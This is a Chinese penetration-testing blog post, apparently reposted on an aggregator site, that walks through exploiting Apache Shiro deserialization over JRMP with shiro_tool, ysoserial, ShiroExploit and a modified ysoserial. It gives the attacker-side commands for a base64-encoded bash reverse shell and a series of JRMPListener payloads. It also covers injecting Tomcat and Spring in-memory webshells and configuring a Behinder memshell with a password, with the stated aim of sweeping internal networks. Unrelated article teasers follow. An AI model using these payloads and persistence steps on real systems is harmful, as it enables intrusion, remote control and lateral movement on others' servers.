Shiro有key但无回显利用链子-JRMP大法

前言

shiro在手天下我有,扫出key直接梭哈getshell,横扫内网。但要是像这种情况,直接下班拜拜跑路,没有链子玩毛线…

file

直到出现了这么一个工具可以通过JRMP协议探测是否存在漏洞,很显然上面工具是做不到的,实战中很可能因此丢掉一个shell

JRMP协议探测漏洞

使用shiro_tool这个工具可以探测JRMP协议,其实也可以使用这个工具批量探测shiroKey,速度准确性还是挺高的

shiro_tool:https://github.com/wyzxxz/shiro_rce_tool

简单介绍一下使用方法:输入此命令即可全自动扫描探测,如果存在key则会自动扫描存在可利用的链子,存在多个链子可通过输入指定数字进行选中

如果不存在key则会提示让你提供可以用的key,没有就拜拜下班~~

也可以在命令添加一个参数keys=指定字典和key=指定key,什么都不添加就默认运行

java -jar shiro_tool.jar http://x.x.x.x/ keys= key=

file

我们这开一个靶场来练习一下使用JRMP获取shell

可以看到我们的工具已经扫出5条可以利用链子,但是0,1,2不是我们这篇文章的主题,直奔3,4,选中3链路,可以通过DNS判断目标是否出网,要是有回显,就可以开展后续的工作了

file

输入3后会提示输入http形式的DNS地址,直接输入即可,接着就可以在平台上看到回显。

file

ysoserial反序列化getshell

目标出网并且有回显,接下来一步就算getshell了。

业界有一款ysoserial反序列化神器,经过多个版本的迭代,已有很多师傅对该工具进行二次开发,诞生了很多反序列化利用链子供我们这些小白使用

这里我使用的是frohoff师傅开发的版本

ysoserial:https://github.com/frohoff/ysoserial/

然后将工具上传到部署VPS上即可食用,开放JRMP的1388端口进行监听,待会我们的工具指定这个端口就ok了

我们可以简单测试哪些链子可以使用,通过DNSlog回显可以得知

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1388 CommonsCollections2 "ping -c 2 cb183.dnslog.cn"

开始监听1388端口

file

好了,轮到我们的shiro_tool工具出场了,由于刚才使用了URLDNS进行探测,这里重新启动一下工具选择JRMP链子

指定刚才VPS绑定的1388端口,随后我们右边的VPS就开始收到消息了

file

这边的DNS平台也接收到消息了,说明我们选择的链子是有用的,要是没有回显可以逐步尝试一下其他链子,本菜菜也是一个个尝试的。

CommonsCollections1
CommonsCollections2
CommonsCollections3
CommonsCollections4
CommonsCollections5
CommonsCollections6
CommonsCollections7
CommonsCollections8
CommonsCollections9
CommonsCollections10

file

证明上面那个CommonsCollections2可以使用了,那就弹个shell吧,vps切换一下命令

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1388 CommonsCollections2 "bash -c {echo,YmFzaCAtaSA+JiAvZNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"

成功拿下,哈哈哈哈

file

shiroJRMP利用工具getshell

上面的步骤说实话有些过于繁琐了,每次切换命令都要手动打payload,并且链子也是得手动测反复查看DNSlog切换,这里使用一个工具是可以根据JRMP协议进行探测链子

ShiroExploit:https://github.com/feihong-cs/ShiroExploit-Deprecated

下载下来启动这个工具,至于ysoserial是赠送的,其原理也是通过这个工具进行探测。

这边就简单粗暴节省探测时间,指定10个CC链和1个CB链,指定key,指定回显方式为spring和tomcat,点击下一步。

java -jar .\ShiroExploit.jar

file

将ShiroExploit.jar也上传一份到vps上,已经存在的ysoserial-all,必须修改名字为ysoserial,不然无法使用。并且ShiroExploit.jar和ysoserial.jar处在同一个目录

file

vps输入命令进行监听,http端口为8181,jrmp端口为1388,可以自行改变端口,http端口在前,jrmp端口在后

java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer 8181 1388

file

回到攻击机器上配置ShiroExploit,输入vps地址和刚刚监听的端口,这里直接使用JRMP探测

3种探测简单说明

1、使用ceye探测- 可以不进行任何配置,配置文件中已经预置了 CEYE 域名和对应的 Token,当然也可以对其进行修改。
- 程序会首先使用反序列化 `SimplePrincipalCollection` 的方式筛选出唯一 Key,然后依次调用各个 Gadget 生成 Payload
- 缺点:程序会使用 API:[http://api.ceye.io/v1/records?token=a78a1cb49d91fe09e01876078d1868b2&type=dns&filter=[UUID]](http://api.ceye.io/v1/records?token=a78a1cb49d91fe09e01876078d1868b2&type=dns&filter=%5BUUID%5D) 查询检测结果,这个 API 有时候会无法正常访问,导致在这种方式下无法找到 Key 或者有效的 Gadget2、使用dnslog探测- 可以不进行任何配置,每次启动时程序会自动从 `dnslog.cn` 申请一个 DNS Record。
- 程序会首先使用反序列化 `SimplePrincipalCollection` 的方式筛选出唯一 Key,然后依次调用各个 Gadget 生成 Payload
- 缺点:少数时候 dnslog.cn 会间隔较久才显示 DNS 解析结果导致程序无法找到 Key 或者有效的 Gadget,且 dnslog.cn 只会记录最近的10条 DNS 解析记录3、使用JRMP探测- 需要在 VPS 上通过命令`java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer [HttpSerivce Port] [JRMPListener Port]`开启HttpService/JRMPListener,并按照要求填入相应 IP 和端口
- 如果开启 HttpService/JRMPListener 时未指定端口号,则 `HTTPService` 默认监听 `8080` 端口,`JRMPListener` 默认监听 `8088` 端口
- 使用 `JRMP` 的方式进行漏洞检测,可以显著减小 cookie 大小
- 程序会首先使用反序列化 `SimplePrincipalCollection` 的方式筛选出唯一 Key,然后使用 `JRMP` 依次为各个 Gadget 生成对应的 JRMPListener

file

从这里可以看出成功探测到两条可以利用的链子CommonsCollections2和CommonsCollections4

只有成功找到链子才可进行RCE

那就顺手弹个shell吧,这个工具好像不支持回显,不是很清楚…

file

vps这边也是成功收到反弹的shell

file

ysoserial升级版打内存马

shell有了是有了,总感觉少了点东西?马儿呢?

对啊,没有马儿怎么梭哈横扫内网,得想办法搞点东西维持一下权限。上面那个工具好像是可以直接一键Getshell,但是不太懂如何使用,而且还只是jsp的马子,传上去可能会考虑免杀之类的问题,而内存马就不用担心了哈哈哈哈

这里就可以使用另外一位师傅的魔改后的ysoserial工具打内存马,使用的是Y4er师傅开发的版本

ysoserial-0.0.6:https://github.com/Y4er/ysoserial

简单介绍一下:这里面多了几条链子是可以选择这位师傅现成的内存马也可以自己手动生成内存马添加进去,灵活运用

CommonsBeanutils183NOCC

CommonsBeanutils192NOCC

CommonsBeanutils192WithDualTreeBidiMap

Fastjson1

Fastjson2

Jackson1

Jackson2

链子使用方式,这里以Y4er师傅的例子为例,CommonsBeanutils192NOCC,其他链子应该也可以像这种方式进行使用

关键字CLASS:指定现成的内存马

关键字FILE:指定自定义生成的class内存马

不指定关键字:相当于普通的cmd方式执行命令

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatCmdEcho"                     # TomcatCmdEcho
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatServletMemShellFromJMX"      # TomcatServletMemShellFromJMX
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatServletMemShellFromThread"   # TomcatServletMemShellFromThread
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatFilterMemShellFromJMX"       # TomcatFilterMemShellFromJMX     适用于tomcat7-9
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatFilterMemShellFromThread"    # TomcatFilterMemShellFromThread  适用于tomcat7-9
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatListenerMemShellFromJMX"     # TomcatListenerMemShellFromJMX
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatListenerMemShellFromThread"  # TomcatListenerMemShellFromThread
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:TomcatListenerNeoRegFromThread"    # TomcatListenerNeoRegFromThread     python neoreg.py -k fuckyou
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "CLASS:SpringInterceptorMemShell"         # SpringInterceptorMemShell       链接shell需要使用存在的路由
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "FILE:E:\Calc.class"                      # ClassLoaderTemplate
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC "calc"                                    # CommandTemplate                 CLASS: FILE: 不使用协议开头则默认为执行cmd

因为是增强版,下面的链子均可如上方式传递参数

  1. Click1
  2. CommonsBeanutils1
  3. CommonsBeanutils183NOCC
  4. CommonsBeanutils192NOCC
  5. CommonsCollections2
  6. CommonsCollections3
  7. CommonsCollections4
  8. Hibernate1
  9. JavassistWeld1
  10. JBossInterceptors1
  11. Jdk7u21
  12. JSON1
  13. MozillaRhino1
  14. MozillaRhino2
  15. ROME
  16. Spring1
  17. Spring2
  18. Vaadin1

然后将工具上传到部署VPS上即可食用,开放JRMP的1388端口进行监听,待会我们的工具指定这个端口就ok了

经测试CommonsBeanutils183NOCC链子可使用,这次我们尝试新的链子吧

由于现成的内存马没有成功,只能手动生成一个内存马,这里使用的是pen4uin师傅的高度自定义内存马工具

java-memshell-generator:https://github.com/pen4uin/java-memshell-generator/

根据配置生成一个冰蝎内存马

内存马类名和注入器类名不指定会自动生成,如遇到失败情况可指定

密码: hello@2024
请求路径: /test.ico
请求头: Referer: Zdycorcn
脚本类型: JSP
内存马类名: org.apache.http.client.WebSocketUpgradeMbsxugFilter
注入器类名: org.apache.logging.d.HttpUtil![file](http://img.daibao.online/2024/06/image-1717850902553.png)

file

然后将此内存马上传到vps服务器上,vps输入以下命令即可加载冰蝎内存马

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils183NOCC
"FILE:/home/exptools/HttpUtil.classs"

冰蝎配置

file

冰蝎连接成功,开始内网梭哈之旅~~

经测试使用其他链子如:CC4链子也可像上面方式打入内存马

至于为什么不一开始就使用这个工具打,凡事都讲究循循渐进的嘛。

这个工具反弹了几次shell都没成功,同一个命令换了上面那个工具就弹成功了。

file

坑点:使用哥斯拉内存马可能会导致显示连接成功,但是哥斯拉客户端报空指针异常

file

空指针异常

file

浏览器访问内存马路径可能报404,但是已经成功打入的,至于为什么这样,菜菜还不是很明白,之前使用其他工具直接打都是空白页面不会显示404,一度以为还没打成功没上shell管理工具。

file

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/27584.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Cheat Engine 学习

文章目录 Exact Value scanning任务实现步骤Unknown initial value任务实现步骤原理说明Floating points任务实现步骤原理说明Code finder任务实现步骤原理说明Pointers任务实现步骤原理说明Change Pointer 操作:Active(活跃状态)和数值修改:Code Injection任务概述实现步骤…

2024年【四川省安全员C证】考试题及四川省安全员C证考试资料

题库来源:安全生产模拟考试一点通公众号小程序 四川省安全员C证考试题是安全生产模拟考试一点通总题库中生成的一套四川省安全员C证考试资料,安全生产模拟考试一点通上四川省安全员C证作业手机同步练习。2024年【四川省安全员C证】考试题及四川省安全员…

算法训练 | 动态规划Part2 | 62.不同路径、63.不同路径 II

目录 62.不同路径 动态规划法 63. 不同路径 II 动态规划法 62.不同路径 题目链接:62. 不同路径 - 力扣(LeetCode) 文章讲解:代码随想录 动态规划法 解题思路 机器人从(0 , 0) 位置出发,到(m - 1, n - 1)终点。…

博客没人看啊?我分析是这些原因

1.封面 主题封面还是个性化封面?主题封面对系列化很友好,如下图左: 在目录中什么主题一目了然,个性化封面在目录中就略显杂乱。但是通过观察CSDN主页发现热榜文章清一色个性化封面。如果使文字封面就会显得很无聊。 所以从提高浏…

赶紧收藏!2024 年最常见 20道并发编程面试题(七)

上一篇地址:赶紧收藏!2024 年最常见 20道并发编程面试题(六)-CSDN博客 十三、什么是线程局部存储(Thread-Local Storage)? 线程局部存储(Thread-Local Storage,简称TLS…

[渗透测试学习] IClean-HackTheBox

IClean-HackTheBox 信息搜集 nmap扫描一下 nmap -sV -v 10.10.11.12 -Pn扫描结果 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) Service Info:…

Ubuntu 22.04,把软件更新源更改为阿里或者清华镜像

通常这应该是装上系统后做的第一件事,阿里/清华二选一,本人亲测,可以成功 可以通过修改系统的/etc/apt/sources.list文件来完成。以下是详细步骤: 修改/etc/apt/sources.list 打开终端。 备份当前的/etc/apt/sources.list文件&…

WPF第三方开源UI框架:打造独特体验的魔法师

引言 在WPF(Windows Presentation Foundation)的世界中,除了微软提供的原生控件,还有许多第三方开源UI框架为开发者提供了更广阔的天地。这些框架以其创新和灵活性,帮助开发者打造出与众不同的用户体验。本文将带您走进…

HashMap 源码解析

1. 基本结构 HashMap 的核心是一个数组&#xff0c;每个数组元素是一个链表或红黑树&#xff08;JDK 1.8 及以后&#xff09;。当哈希冲突发生时&#xff0c;链表或红黑树用于存储多个键值对。 // HashMap的基本结构 public class HashMap<K, V> extends AbstractMap&l…

Jenkins三种构建类型

目录 传送门前言一、概念二、前置处理&#xff08;必做&#xff09;1、赋予777权限2、让jenkins用户拥有root用户的kill权限3、要运行jar包端口号需要大于1024 三、自由风格软件项目&#xff08;FreeStyle Project&#xff09;&#xff08;推荐&#xff09;三、Maven项目&#…

金融科技:推动保险行业数字化转型的引擎

随着科技的飞速发展&#xff0c;金融科技&#xff08;FinTech&#xff09;已经成为推动金融行业变革的重要力量。特别是在保险行业&#xff0c;金融科技正引领着一场深刻的数字化转型&#xff0c;为保险公司带来了前所未有的机遇与挑战。本文将探讨金融科技如何推动保险行业的数…

UDP 协议详解与实战

目录 简介什么是 UDP&#xff1f;UDP 与 TCP 的区别 UDP 数据传输方式单播 - Unicast&#xff08;1:1&#xff09;广播 - Broadcast&#xff08;1:n&#xff09;有限广播 - Limited Broadcast直接广播 - Directed Broadcast 组/多播 - Multicast&#xff08;n:m&#xff09;任播…

屹晶微EG3002 单通道功率MOSFET驱动芯片 贴片SOP8

EG3002作为一款功率MOSFET驱动芯片&#xff0c;它的应用领域主要取决于其技术参数和性能特点。根据之前提供的信息&#xff0c;EG3002可能适用于以下领域&#xff1a; 1. 电源管理&#xff1a;用于高效率电源转换器&#xff0c;如开关电源&#xff08;SMPS&#xff09;、电池充…

栈的实现详解

目录 1. 栈1.1 栈的概念及结构1.2 栈的实现方式1.3 栈的应用场景 2. 栈的实现2.1 结构体2.2 初始化2.3 销毁2.4 入栈2.5 出栈2.6 获取栈顶元素2.7 判空2.8 获取个数 3. test主函数4. Stack.c文件5. Stack.h文件6. 运行展示 1. 栈 1.1 栈的概念及结构 栈&#xff1a;一种特殊的…

基础排序算法详解与对比分析

排序算法是计算机科学中最基础和重要的算法之一。本文将详细介绍几种经典的排序算法&#xff0c;包括选择排序、插入排序、希尔排序、堆排序和归并排序&#xff0c;并进行代码实现和对比分析。 选择排序&#xff08;Selection Sort&#xff09; 选择排序的基本思想是每次从未…

Ubuntu修改MySQL的tmpdir参数失败的解决方法

问题 在查询大表时&#xff0c;MySQL提示ERROR 3 (HY000): Error writing file /tmp/MYfd268 (OS errno 28 - No space&#xff0c;应该是临时文件夹/tmp没有足够的空间&#xff1b;想修改文件夹/etc/mysql/my.cnf中的参数tmpdir命令改变临时文件夹&#xff1b; sudo nano /e…

《青少年编程与数学》课程方案:3、课程形式

《青少年编程与数学》课程方案&#xff1a;3、课程形式 一、这门课程是一门学习课程&#xff0c;不是教学课程二、这门课程是一门独立的课程&#xff0c;不是多门课程三、这门课程有一条主要的线索是计算四、这门课程需要重视输出、强调可见性五、这门课程需要灵活运用&#xf…

C/C++函数指针、C#委托是什么?

函数指针 #include<stdio.h>//声明函数指针 typedef int(*Calc)(int a, int b); int Add(int a, int b) {return a b; } int Sub(int a, int b) {return a - b; }int main() {Calc funcPoint1 &Add;Calc funcPoint2 &Sub;int x 120;int y 140;int z 0;z …

Docker 部署 RocketMQ

0. 拉取镜像 docker pull apache/rocketmq:5.2.0 docker pull styletang/rocketmq-console-ng1. 创建容器共享网络 docker network create rocketmq2. 启动NameServer # 启动 NameServer docker run -d --name rmqnamesrv -p 9876:9876 --network rocketmq apache/rocketmq:…

【YashanDB知识库】PHP使用OCI接口使用数据库绑定参数功能异常

【问题分类】驱动使用 【关键字】OCI、驱动使用、PHP 【问题描述】 PHP使用OCI8连接yashan数据库&#xff0c;使用绑定参数获取数据时&#xff0c;出现报错 如果使用PDO_OCI接口连接数据库&#xff0c;未弹出异常&#xff0c;但是无法正确获取数据 【问题原因分析】 开启O…